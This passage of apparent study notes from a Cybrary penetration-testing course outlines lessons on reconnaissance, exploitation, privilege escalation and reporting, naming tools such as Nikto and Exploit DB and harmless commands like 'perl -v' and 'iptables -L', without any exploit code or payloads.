    - Can download various python scripts from exploit DB and use on the terminal
- Nikto
    - Can be used for a vulnerability scanner
- Reconnaissance is an important step in pen-testing and needs to take your time when performing reconnaissance on a network

Lesson 8.3: Exploitation

Skills Learned From This Lesson: Penetration Testing, Pentest Simulations, Exploitation

- Bash
    - Using bash commands and scripts to create exploits in vulnerabilities
- Perl
    - Pearl scripts can be created to insert into a vulnerability
    - Perl -v
        - Check what Perl version is installed on the machine

Lesson 8.4: Privilege Escalation

Skills Learned From This Lesson: Penetration Testing, Pentest Simulations, Privilege Escalation

- Applying all the techniques that have been learnt so far in the course
- Python
    - Privilege escalation python script
- When the python script is executed it will check if it can find any privilege escalation on that machine
- Manually check through the results given back from the script executed so see what information can be used for privilege escalation
- Chsh
    - The command is used for change shell
- Iptables -L
    - Current rules of the firewall

CYBRARY

Lesson 8.5: Reporting and Next Steps
Skills Learned From This Lesson: Penetration Testing, Pentest Simulations, Reporting

- Every step during the Pen-test should be recorded and be put into the report, Document everything, any vulnerabilities found, tools used, and how can the issue be resolved
- Tailor the report for the company and suggest any fixes that can be done or any improvements to secure their network

Module 9: Course Summary

Lesson 9.1: Course Summary
Skills Learned From This Lesson: Penetration Testing

- Module 2 - An introduction to pen-testing
- Module3 - Hacker's main tools
- Module 4 - Information Gathering
- Module 5 - Exploits
- Module 6 - Buffer overflow
- Module 7 - Privilege Escalation
- Module 8 - Pentest Simulation

CYBRARY